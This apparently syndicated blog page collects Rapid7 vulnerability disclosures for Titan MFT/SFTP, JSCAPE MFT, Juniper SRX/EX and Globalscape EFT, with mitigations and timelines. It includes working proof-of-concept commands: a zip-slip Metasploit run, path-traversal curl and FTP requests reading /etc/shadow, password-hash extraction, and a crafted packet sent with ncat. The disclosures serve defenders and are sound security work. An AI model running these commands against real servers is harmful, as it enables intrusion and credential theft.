All posts by Ron Bowes

Multiple Vulnerabilities in South River Technologies Titan MFT and Titan SFTP [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/10/16/multiple-vulnerabilities-in-south-river-technologies-titan-mft-and-titan-sftp-fixed/

Multiple Vulnerabilities in South River Technologies Titan MFT and Titan SFTP [FIXED]

As part of our continuing research project into managed file transfer risk, including JSCAPE MFT and Fortra Globalscape EFT Server, Rapid7 discovered several vulnerabilities in South River Technologies’ Titan MFT and Titan SFTP servers. Although these require unusual circumstances or non-default configurations, as well as a valid user login, the consequences of exploitation can lead to remote superuser access to the affected host.

Products

Titan MFT and Titan SFTP are business-grade Managed File Transfer (MFT) servers that provide enterprise-class, high-availability failover and clustering. They are very similar products with a similar code base, although Titan MFT has some extra features such as WebDAV.

We confirmed that these issues affect Titan MFT and Titan SFTP versions 2.0.16.2277 and 2.0.17.2298 (earlier versions are also affected, per the vendor). All issues listed below affect the Linux version, and some additionally affect the Windows version (we will note which platforms are affected by which issues).

Discoverer

These issues were discovered by Ron Bowes of Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

South River Technologies is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Impact

Successful exploitation of several of these issues grants an attacker remote code execution as the root or SYSTEM user; however, all issues are post-authentication and require non-default configurations and are therefore unlikely to see widescale exploitation.

Vulnerabilities

CVE-2023-45685: Authenticated Remote Code Execution via "zip slip"

Titan MFT and Titan SFTP have a feature where .zip files can be automatically extracted when they are uploaded over any supported protocol. Files within the .zip archive are not validated for path traversal characters; as a result, an authenticated attacker can upload a .zip file containing a filename such as ../../file, which will be extracted outside the user’s home directory. This affects both Linux and Windows servers, but we will use Linux as an example of how this might be exploited.

If an attacker can write a file to anywhere on a Linux file system, they can leverage that to gain remote access to the target host in several different ways:

  • Overwrite /root/.ssh/authorized_keys with an attacker’s SSH key, allowing them to log in to an interactive session
  • Upload a script to /etc/cron.hourly that will execute code at some point in the future
  • Upload a script to /etc/profile.d that will execute next time a user logs in to the Linux host
  • Overwrite a system binary (such as /bin/bash) with a backdoored version

This vulnerability is mitigated in two different ways:

  1. This is a non-default feature, so an administrator would have had to configure it before a server is vulnerable
  2. Exploitation requires a user to have an account with permission to upload files

Demo

A so-called "zip slip" is a common class of vulnerability, and an example file can be created using a Metasploit module (note that this is a generic module which writes an ELF file containing an executable payload):

msf6 > use exploit/multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

msf6 exploit(multi/fileformat/zip_slip) > set FTYPE zip
FTYPE => zip

msf6 exploit(multi/fileformat/zip_slip) > set FILENAME test.zip
FILENAME => test.zip

msf6 exploit(multi/fileformat/zip_slip) > show options

msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../root/testzipslip
TARGETPAYLOADPATH => ../../../../../../../root/testzipslip

msf6 exploit(multi/fileformat/zip_slip) > exploit

[+] test.zip stored at /home/ron/.msf4/local/test.zip
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../root/testzipslip

Then upload it with any protocol that the user has access to (HTTP, FTP, WebDAV, SFTP):

$ ncftp -u 'testuser' -p 'b' 10.0.0.68
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.0.0.68...                                                                                          
TitanMFT 2.0.16.2277 Ready.
Logging in...                                                                                                       
Welcome testuser from 10.0.0.227. You are now logged in to the server.
Logged in to 10.0.0.68.                                                                                             
ncftp / > put ~/.msf4/local/test.zip
/home/ron/.msf4/local/test.zip:                        331.00 B    7.92 kB/s  

And verify that it extracts outside of the user’s home directory:

$ ssh [email protected] ls /root
testzipslip

Note that the payload generated by Metasploit is an ELF file by default; however, using this technique, any file can be uploaded to any location on the file system.

CVE-2023-45686: Authenticated Remote Code Execution via WebDAV Path Traversal

The WebDAV handler does not validate the path specified by the user. That means that the user can write files outside of their home directory by adding ../ characters to the WebDAV URL. Successful exploitation permits an authenticated attacker to write an arbitrary file to anywhere on the file system, leading to remote code execution.

WebDAV is not enabled by default, so an administrator would have had to enable WebDAV for a target to be vulnerable. This also doesn’t affect Titan SFTP, which doesn’t support the WebDAV protocol; additionally, as far as we can tell, this only affects the Linux version of Titan MFT.

Demo

The curl utility with the PUT verb can be used to upload a file (note that --path-as-is is required, otherwise curl will normalize the path and remove the ../ portion of the URL):

$ curl -i -X PUT -u testuser:b --data-binary 'hi' --path-as-is http://10.0.0.68:8080/../../../../../../../../../root/testwebdav
HTTP/1.1 201 Created
Set-Cookie: SRTSessionId=NV7pXyEHw9bdkofCLp3dI5wMq96N7iLD; Path=/; Expires=2023-Sep-25 10:09:14 GMT; HttpOnly
Connection: close
Server: SRT WebDAV Server
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Accept-Ranges: bytes
ETag: "8F434346648F6B96DF89DDA901C5176B10A6D83961DD3C1AC88B59B2DC327AA4"

We can verify the file is written from an SSH session:

$ ssh [email protected] ls /root/
testwebdav

CVE-2023-45687: Session Fixation on Remote Administration Server

When an administrator authenticates to the remote administration server’s API using an Authorization header (HTTP basic or digest authentication) and sets a SRTSession header value to a value known by an attacker (including the literal string null), the session token is granted privileges that the attacker can use. For example, the following request would make the string "test" into a valid session token:

$ curl -u ron:myfakepassword -ik -H 'Srtsessionid: test' 'https://10.0.0.68:41443/WebApi/Process'

We originally identified this as an authentication bypass, but later realized (from discussing it with the vendor) that the Srtsessionid value must match on the client and server, and the likelihood of getting an administrator to set an arbitrary header is exceedingly low. This affects both the Linux and Windows versions of the software, although the exploit path for Windows would be different than the Linux path we discuss below.

If an attacker can either steal a session token or trick an administrator into authorizing an arbitrary session token, the administrative access can be used to write an arbitrary file to the file system using the following steps (on Linux):

  • Create a new user with an arbitrary home folder (eg, /root/.ssh)
  • Log in to one of the file-upload services, such as FTP, using that account
  • Upload a file, such a authorized_keys

Since the service runs as root, this lets an attacker upload or download any file. We implemented a proof of concept that demonstrates how an attacker can achieve remote code execution on a target system by abusing administrator-level access.

CVE-2023-45688: Information Disclosure via Path Traversal on FTP

The SIZE command on FTP doesn’t properly sanitize path traversal characters, which permits an authenticated user to get the size of any file on the file system. This requires an account that can log in via the FTP protocol, and appears to only affect the Linux versions of Titan MFT and Titan SFTP.

Demo

You can test this with the netcat utility:

$ nc 10.0.0.69 21
220 TitanMFT 2.0.17.2298 Ready.
USER test 
331 User name okay, need password.
PASS a
230 Welcome test from 10.0.0.227. You are now logged in to the server.
SIZE ../../../../../../../etc/shadow
213 1050
SIZE ../../../../../../../etc/hostname
213 7
SIZE ../../../../../../../etc/nosuchfile
550 No such file or directory

In that example, the attacker can determine that /etc/shadow is 1050 bytes, /etc/hostname is 7 bytes, and /etc/nosuchfile doesn’t exist.

CVE-2023-45689: Information Disclosure via Path Traversal in Admin Interface

Using the MxUtilFileAction model, an administrator can retrieve and delete files from anywhere on the file system by using ../ sequences in their path. Both Linux and Windows servers are affected by this issue. Note that administrators have full access to the host’s file system using other techniques, so this is a very minor issue.

Demo

Note: This requires a valid session id (in the example below, 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB):

$ curl -iks -H 'Content-Type: application/json' -H 'Srtsessionid: 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB' --data-binary '[{"Model":"MxUtilFileAction","ServerGUID":"db2112ad-0000-0000-0000-100000000001","Action":"l","Data":{"action":"d","fileList":["/var/southriver/srxserver/logs/Local Administration Server/../../../../../etc/shadow"],"domainLogs":true}}]' 'https://10.0.0.68:41443/WebApi/Process'
HTTP/2 200 
content-type: application/x-msdownload
date: Tue, 19 Sep 2023 21:02:07 GMT
content-length: 1155
strict-transport-security: max-age=2592000
content-security-policy: base-uri 'self';
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
referrer-policy: origin
content-disposition: attachment; filename=shadow; filename*=UTF-8''shadow

root:$6$7oOiiC2AyTA6p7LG$mmvUvQYTSN/E9DBfOOGldok6gd6iP8G7SeR20Va30JYCKPp14gzMhmOUrw3o0t6erwwemssYgjcDGqYI/jOWA0:19619:0:99999:7:::
[...]

CVE-2023-45690: Information Leak via World-Readable Database + Logs

Password hashes appear in world-readable files, including databases and log files. Non-root accounts with access to the host can use those files to upgrade their privileges to root. Since shell access is required before this can be leveraged, this vulnerability is fairly minor, but we believe that local privilege escalation issues are still important to address.

You can use the strings utility to examine the database file as any user account (they can also be loaded in sqlite3):

ron@titan:~$ strings /var/southriver/srxserver/database/srxdbDB2112AD555500000000100000000001.db | grep -o '"PasswordHash":"[^"]*"'
"PasswordHash":"5267768822EE624D48FCE15EC5CA79CBD602CB7F4C2157A516556991F22EF8C7B5EF7B18D1FF41C59370EFB0858651D44A936C11B7B144C48FE04DF3C6A3E8DA"
"PasswordHash":"72A8D535781681A613D4F8ED06192020AFDA3B1B6C3C48A392FFAB2DF033D23F791BB6CCBE3B134B4A721BFE1CFE6CD06581CA74EAAEE5343CCD70DC3115F984"
"PasswordHash":"57E38B3A0621901EC5C64FA1864A5D16E17CE4DDF9CD084E4E72D0EEEC2D270353D033C972E5B5C646422B56F7EAA11FD54BAAC0A19F6A20CC8D93DF6063DB30"

You can also export logs with journalctl as any user:

ron@titan2:~$ journalctl -u titanmft.service  | grep 'stored hash'
Sep 26 22:28:36 titan2 srxserver[3526]: 2023-09-26 22:28:36 [Info/-/007] Validated incoming user against stored hash [7632AC9FECE0727899598E82E1601669F76D1D2AB75F33AE6A57D21060E22DB93E9D267155909E7EC5EECA20382A18D5D246A4CCAF64466D16974124BA0EC22F] and the result is True
Sep 26 22:34:02 titan2 srxserver[3526]: 2023-09-26 22:34:02 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:15 titan2 srxserver[3526]: 2023-09-26 22:34:15 [Info/-/065] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True
Sep 26 22:34:48 titan2 srxserver[3526]: 2023-09-26 22:34:48 [Info/-/061] Validated incoming user against stored hash [1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75] and the result is True

Mitigation Guidance

According to South River Technologies, the issues in this disclosure can be remediated by applying vendor-supplied patches to upgrade to version 2.0.18 of Titan SFTP or Titan MFT. Additionally, these issues can be mitigated by configuring Titan SFTP or Titan MFT service to not run under the Local System account but to instead use a specific Windows or Linux user account that has limited privileges.

Timeline

  • September, 2023 – Rapid7 discovers the vulnerabilities
  • September 28, 2023 – Rapid7 finds a security contact and reports the issues
  • September 28, 2023 – Vendor acknowledges our report
  • September 30, 2023 – Vendor let us know that the majority of the issues are resolved
  • October 11, 2023 – Discussed and agreed on a disclosure date of October 16, 2023
  • October 16, 2023 – This coordinated disclosure (including this blog and all vendor artifacts)

CVE-2023-4528: Java Deserialization Vulnerability in JSCAPE MFT (Fixed)

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/09/07/cve-2023-4528-java-deserialization-vulnerability-in-jscape-mft-fixed/

CVE-2023-4528: Java Deserialization Vulnerability in JSCAPE MFT (Fixed)

In August 2023, Rapid7 discovered a Java deserialization vulnerability in Redwood Software’s JSCAPE MFT secure managed file transfer product. The vulnerability was later assigned CVE-2023-4528. It can be exploited by sending an XML-encoded Java object to the Manager Service port, which, by default, is TCP port 10880 (over SSL). Successful exploitation can run arbitrary Java code as the root on Linux or the SYSTEM user on Windows. CVE-2023-4528 is trivial to exploit if an attacker has network-level access to the management port and the Manager Service is enabled (which is the default). We strongly recommend taking the server down (or disabling the Manager Service) until it can be patched.

Product description

CVE-2023-4528 affects all versions of JSCAPE MFT Server prior to version 2023.1.9 on all platforms (Windows, Linux, and MacOS). See the JSCAPE advisory for more information.

Discoverer

This issue was discovered by Ron Bowes of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

CVE-2023-4528 has been addressed in JSCAPE version 2023.1.9 which is now available for customer deployment. JSCAPE customers have been notified and our support teams are available 24/7 to assist. Redwood appreciates the collaboration with Rapid7 and our cybersecurity partners. For more information, please see: https://www.jscape.com/blog/binary-management-service-patch-cve-2023-4528

Impact

Successful exploitation executes arbitrary Java code as the Linux root or Windows SYSTEM user. The most likely attack vector will run Java code such as java.lang.Runtime.getRuntime().exec("...shell command...");, but it’s also possible to create a Java-only payload to avoid executing another process (and therefore wouldn’t be as easily detectable).

Once an attacker executes code at that level, they have full control of the system. They can steal data, pivot to attack other network devices, remove evidence of the intrusion, establish persistence, and anything else they choose. Notably, there appear to be very few (if any) instances of JSCAPE MFT Server with their management ports exposed to the internet, which significantly reduces attackers’ ability to reach the affected service.

Indicators of compromise

Successful exploitation will be evident in log files. The Windows log file is C:\program files\MFT Server\var\log\server0.log, and Linux is /opt/mft_server/var/log/server0.log. Any warning or error messages that reference "Management connection" should be investigated — in particular, class casting exceptions such as:

08.22.2023 15:56:51 [WARNING] Management connection error: [10.0.0.77:10880 <-> 10.0.0.227:40085].
com.jscape.util.net.connection.Connection$ConnectionException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.net.connection.Connection$ConnectionException.wrap(Unknown Source)
	at com.jscape.util.net.connection.SyncMessageConnectionSyncRawBase.read(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.readNextMessage(Unknown Source)
	at com.jscape.util.net.connection.AsyncMessageConnectionSyncRawBase.run(Unknown Source)
	at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
	at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.base/java.lang.Thread.run(Thread.java:833)
Caused by: java.io.IOException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	at com.jscape.util.at.b(Unknown Source)
	at com.jscape.util.az.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.a(Unknown Source)
	at com.jscape.inet.mftserver.adapter.management.protocol.a.read(Unknown Source)
	... 8 more
Caused by: java.lang.ClassCastException: class java.lang.Runtime cannot be cast to class com.jscape.inet.mftserver.adapter.management.protocol.messages.Message (java.lang.Runtime is in module java.base of loader 'bootstrap'; com.jscape.inet.mftserver.adapter.management.protocol.messages.Message is in unnamed module of loader 'app')
	... 10 more

The server expects a Message class, and the exploit sends a different class such as java.lang.Runtime, which fails and creates an error message.

Note that a more cleverly written exploit may not be this obvious in log files.

Remediation

Rapid7 recommends that JSCAPE MFT Server customers immediately upgrade their instance(s) of MFT Server to version 2023.1.9 (upgrade documentation from Redwood Software here).

JSCAPE MFT customers should also close port 10880 to the public internet, ensuring that external/public access to the binary management service port (typically 10880) that is used by JSCAPE command line utilities is blocked. Settings for this port can be found in the administrative interface under Settings > Manager Service > Manager Service.

As a temporary mitigation before applying the patch, administrators can block access to the Management Service. On the configuration page (http://[server]:11880/settings/settings), either change the Host/IP option on the Manager Service page to 127.0.0.1. Alternatively, under the Access tab, set up an IP filter (or block all IP addresses). Rapid7 validated that both options work.

For more information, see Redwood Software’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2023-4528 with a vulnerability check expected to be available in the September 7 content release.

Timeline

  • August 22, 2023: Rapid7 discovers the vulnerability
  • August 23, 2023: Rapid7 reports the vulnerability to Redwood Software
  • August 24, 2023 – September 6, 2023: Rapid7 and Redwood Software discuss patching and disclosure timelines
  • September 7, 2023: This disclosure

Exploitation of Juniper Networks SRX Series and EX Series Devices

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/08/31/etr-exploitation-of-juniper-networks-srx-series-and-ex-series-devices/

Exploitation of Juniper Networks SRX Series and EX Series Devices

On August 17, 2023, Juniper Networks published an out-of-band advisory on four different CVEs affecting Junos OS on SRX and EX Series devices:

CVE-2023-36846 Affects the SRX Series

A Missing Authentication for Critical Function vulnerability in Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request that doesn’t require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.

CVE-2023-36844 Affects the EX Series

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain important environment variables. Utilizing a crafted request, an attacker is able to modify certain PHP environments variables. This would lead to partial loss of integrity, which may allow chaining to other vulnerabilities.

CVE-2023-36847 Affects the EX Series

A Missing Authentication for Critical Function vulnerability in Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request that doesn’t require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.

CVE-2023-36845 Affects the EX and SRX Series

When chained, the vulnerabilities permit an unauthenticated user to upload an arbitrary file to the JunOS file system and then execute it. It’s unclear exactly which issues need to be chained together — our research team was able to execute an attack chain successfully, but we did not determine exact CVE mappings. Security organization Shadowserver posted on social media this week that they’d been seeing exploit attempts against “CVE-2023-36844 and friends” since August 25.

Further Context

Platform mitigations make executing an arbitrary binary difficult, but a public proof of concept and associated write-up from watchTowr demonstrate how to execute arbitrary PHP code in the context of the root user. Notably, the attack chain does not allow for operating system-level code execution — instead, it gives the attacker code execution within a BSD jail, which is a stripped-down environment designed to run a single application (in this case the HTTP server). Jails have their own set of users and their own root account which are limited to the jail environment, per BSD documentation.

The vulnerabilities affect the Juniper EX Series (switches) and SRX Series (firewalls). While the issue is on the management interface, these devices tend to have privileged access to corporate networks, and even with code execution restricted to a BSD jail, successful exploitation would likely provide an opportunity for attackers to pivot to organizations’ internal networks.

Juniper software is widely deployed, and Shodan shows around 10,000 devices facing the internet, although we can’t say with certainty how many are vulnerable. The affected Juniper service is J-Web, which is enabled by default on ports 80 and 443. The CVEs from Juniper are ranked as CVSS 5.3, but the advisory shows a combined CVSS score of 9.8. This sends a mixed message that might confuse users into thinking the impact of the flaws is of only moderate severity, which it is not.

Organizations that are not able to apply the patch should disable J-Web or restrict access to only trusted hosts. See the Juniper Networks advisory for more information.

Affected Products

CVE-2023-36845 and CVE-2023-36846 affect Juniper Networks Junos OS on the following versions of SRX Series:

  • All versions prior to 20.4R3-S8
  • 21.1 version 21.1R1 and later versions
  • 21.2 versions prior to 21.2R3-S6
  • 21.3 versions prior to 21.3R3-S5
  • 21.4 versions prior to 21.4R3-S5
  • 22.1 versions prior to 22.1R3-S3
  • 22.2 versions prior to 22.2R3-S2
  • 22.3 versions prior to 22.3R2-S2, 22.3R3
  • 22.4 versions prior to 22.4R2-S1, 22.4R3

CVE-2023-36844 and CVE-2023-36847 affect Juniper Networks Junos OS on the following versions of EX Series:

  • All versions prior to 20.4R3-S8
  • 21.1 version 21.1R1 and later versions
  • 21.2 versions prior to 21.2R3-S6
  • 21.3 versions prior to 21.3R3-S5
  • 21.4 versions prior to 21.4R3-S4
  • 22.1 versions prior to 22.1R3-S3
  • 22.2 versions prior to 22.2R3-S1
  • 22.3 versions prior to 22.3R2-S2, 22.3R3
  • 22.4 versions prior to 22.4R2-S1, 22.4R3

The vulnerability affects the J-Web component, which, by default, listens on ports 80 and 443 of the management interface.

Mitigation Guidance

Organizations should patch their devices as soon as is practical. Those that are not able to apply the patch should disable J-Web or restrict access to only trusted hosts. See the Juniper Networks advisory for more information.

Rapid7 Customers

InsightVM and Nexpose customers can assess their exposure to all four CVEs with vulnerability checks released in the August 17 content release.

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/06/22/multiple-vulnerabilities-in-fortra-globalscape-eft-administration-server-fixed/

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Earlier this year, Rapid7 researchers undertook a project to analyze managed file transfer applications, due to the number of recent vulnerabilities discovered in those types of applications. We chose Fortra Globalscape EFT as a target since it’s reasonably popular and seemed complex enough to have some bugs (plus, it’s owned by the same company as GoAnywhere, which was exploited by the Cl0p ransomware gang earlier this year). Today, we are disclosing four issues that we uncovered in the Globalscape administration server, the worst of which can lead to remote code execution as the SYSTEM user if successfully exploited (which is difficult, as we’ll see below).

The issues we reported affect Fortra Globalscape 8.0.x up to 8.1.0.14, and all but one are fixed in 8.1.0.16 (the outstanding issue is currently unfixed, but minor):

  • CVE-2023-2989 – Authentication bypass via out-of-bounds memory read (vendor advisory)
  • CVE-2023-2990 – Denial of service due to recursive DeflateStream (vendor advisory)
  • CVE-2023-2991 – Remote hard drive serial number disclosure (vendor advisory) (not currently fixed)
  • Additional issue – Password leak due to insecure default configuration (vendor advisory)

We performed these tests on Globalscape version 8.1.0.11 on Windows Server 2022, but the impact should be the same on any Windows version.

Credit

This issue was discovered by Ron Bowes of Rapid7. We are disclosing it in accordance with Rapid7’s vulnerability disclosure policy.

Impact

The theoretical impact of the worst vulnerability—CVE-2023-2989—is remote code execution as the SYSTEM user. However, exploitation relies on a tricky confluence of circumstances and an unlikely guess, which means that the odds of exploitation in the wild are low (unless somebody finds a way to develop a more reliable exploit).

Technical Details

Our research project focused on the Globalscape administration server, which runs on TCP port 1100 by default. Port 1100 is the interface used by privileged users when they connect to the service using the remote administration client, as well as the interface used by administrators to make site-wide changes (which means it shouldn’t be connected to the public internet). A valid administration session can execute Windows commands on the server in the context of the service user, which is SYSTEM by default. This means that bypassing the authentication on the server leads directly to remote code execution.

We will begin by detailing the network protocol. Then, with knowledge of how the protocol works, we’ll look at each issue.

A partial implementation of the protocol, as well as proofs of concept for each of these issues, are available in a Github project called Gestalt. We’ll link to the individual proof of concept in each session.

Globalscape Admin Protocol

To make any sense of the remainder of this disclosure, we need to learn a bit about the Globalscape admin protocol that Globalscape EFT uses. Since we don’t have source code, we’ve reverse engineered how the protocol works and identified names and fields as best as we could. The original protocol implementation is in the service executable, cftpstes.exe, and ours is in libgestalt.rb.

Globalscape EFT’s administrator service is a binary-based protocol that runs on TCP port 1100 by default. Each message has a short (8-byte) header followed by zero or more parameters in an optional body.

The header is always comprised of exactly two 32-bit little-endian fields:

  • (32-bit) Packet length – used as part of the TCP protocol to read a full message off the wire, and also tells the parser when to stop reading packet data
  • (32-bit) Message ID – used to multiplex different message types (without authenticating, permitted messages are 0x01 (login), and 0x138-0x13a (licensing stuff))

If the message length is longer than 8 bytes, the message also has a body, which is composed of one or more parameters. Parameters in the body are formatted as a pretty typical type-length-value (TLV) structure, with human-readable field names to distinguish which field is which. The structure of the body is:

  • (32-bit) User-readable field name (such as PSWD for password and ADLN for username)
  • (32-bit) Type (the type is almost always 5, which is length-prefixed free-form data, but other types exist as well)
  • (Variable) Value; if the packet type is 5, it’s a length-prefixed free-form data structure:
    • (32-bit) Parameter length
    • (Variable) Value — the value is structured differently depending on the field name

The other noteworthy type is 1, in which case the parameter value is a 32-bit integer.

For example, here’s a login message:

          |       header        |  body.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12   $... ... .@q.....
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00   ....I$.. ADLN....
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

We can break down that message into the header and body, then named parameters within the body:

  • Header (8 bytes):
    • Length: 0x0000005e (94 bytes)
    • Message id: 0x00000001 (login)
  • Body (86 bytes):
    • Field 1:PSWD (encrypted password)
      • 0x00000005 – type
      • 0x00000024 – length (0x24 bytes)
      • \x20\x00\x00\x00\x86\x40... – value (encrypted password w/ length prefix)
    • Field 2: ADLN (username)
      • 0x00000005 – type
      • 0x0000000a – length (0x0a bytes)
      • \xfc\xff\xff\xff\x72\x00\x6f\x00\x6e\x00 – value ("ron" w/ inverted length prefix (which appears to indicate UTF-16 encoding))
    • Field 3: AMID – login type
      • 0x00000005 – type
      • 0x00000004 – length (4 bytes)
      • 0x00000000 – value (0 = EFT authentication)

All messages follow this structure, although each message ID has a different set of required parameters. The named parameters don’t need to be in any particular order.

Compression

A special message ID, 0xff7f, indicates that the body of the message is a full message (header and all), compressed as a Zlib deflate stream. A compressed version of the same login message from above might look like this:

00000000  5f 00 00 00 7f ff 00 00  78 9c 8b 63 60 60 60 04   _....... x..c```.
00000010  e2 80 e0 70 17 56 20 ad  02 c4 0a 40 dc e6 50 78   ...p.V . [email protected]
00000020  ef d2 ab 79 42 57 d7 49  38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030  62 f3 bc 63 5e e1 c7 64  b7 f5 7a aa 70 77 3b ba   b..c^..d ..z.pw;.
00000040  f8 f8 81 d4 73 01 f1 9f  ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050  31 38 fa 7a 82 4d 61 61  80 00 00 bd 2a 19 18      18.z.Maa ....*..

This compressed message has a length of 0x0000005f, message ID of 0x0000ff7f, and a body of \x78\x9c\x8b..... The \x78 at the start indicates that it’s likely a deflate stream (and it is). If we use the openssl command-line utility to un-deflate the data, we get back the original message:

$ echo -ne "\x78\x9c\x8b\x63\x60\x60\x60\x04\xe2\x80\xe0\x70\x17\x56\x20\xad\x02\xc4\x0a\x40\xdc\xe6\x50\x78\xef\xd2\xab\x79\x42\x57\xd7\x49\x38\xa4\x1c\x61\x79\x7b\x90\xa3\x62\xf3\xbc\x63\x5e\xe1\xc7\x64\xb7\xf5\x7a\xaa\x70\x77\x3b\xba\xf8\xf8\x81\xd4\x73\x01\xf1\x9f\xff\xff\xff\x17\x31\xe4\x33\xe4\x31\x38\xfa\x7a\x82\x4d\x61\x61\x80\x00\x00\xbd\x2a\x19\x18" | openssl zlib -d | hexdump -C
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

The remainder of this section will demonstrate issues we discovered in this admin protocol.

CVE-2023-2989—Authentication Bypass via Out-of-Bounds Read

We discovered a (blind) out-of-bounds memory read in the Globalscape EFT admin server that allows a specially crafted message to parse data anywhere in memory as if it’s part of the message itself. Although it’s tricky to exploit, an attacker can potentially leverage this issue to authenticate as another user that recently logged in by jumping into their login message and letting the parser believe it’s the attacker’s login message. We found this by developing a fairly naive fuzzer, which mostly just flips random bits in packets, that you can find here, then determining why the process crashed a bunch of different (but similar) ways. The vendor has published an advisory for this issue here.

Successful exploitation requires a confluence of factors; namely, the attacker must log in shortly after an administrator, while the administrator’s login message is still on the heap, then successfully guess the offset between their malicious message and the administrator’s login message. We did some experimentation and narrowed down the heap layout well enough to succeed after just a handful of attempts under ideal conditions. You can see how that works in our proof of concept, which logs in as the administrator then immediately sends an exploit attempt. This usually works after a small number of attempts in our lab environment (5-10 tries on average).

In the protocol documentation above, we noted that the 32-bit length field at the start of the message is used as part of the TCP protocol to receive exactly one TCP message. That means that if the length field is too large or too small, the TCP recv() operation will receive the requested number of bytes (if it can) and, if the message is incomplete or too long, it will simply not be processed. That typically prevents the packet parser from parsing a message with an invalid length.

However, we found a second way to create a message that gets parsed by the same protocol parser but does not go through TCP: compressed messages! When a message is compressed, the TCP stack is no longer involved, and the prefixed length is not validated in any way. The message parser will attempt to parse the message until it reaches the end, as indicated by the message length field, no matter how much data there actually is; that could be well past the end of available memory.

We can demonstrate this by creating a message with a very very long length (0x7fffffff), with a parameter that claims to be 0x41414141 bytes long (lots of other variations also work fine):

00000000  ff ff ff 7f 01 00 00 00  50 53 57 44 05 00 00 00   ........ PSWD....
00000010  41 41 41 41                                        AAAA

If we send that directly, it will be rejected after the server fails to receive 0x7fffffff bytes. However, if we compress the message, we end up with this 0x21-byte compressed version:

00000000  21 00 00 00 7f ff 00 00  78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010  03 03 43 40 70 b8 0b 2b  90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

Which we can send with ncat or similar tools:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\x02\x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

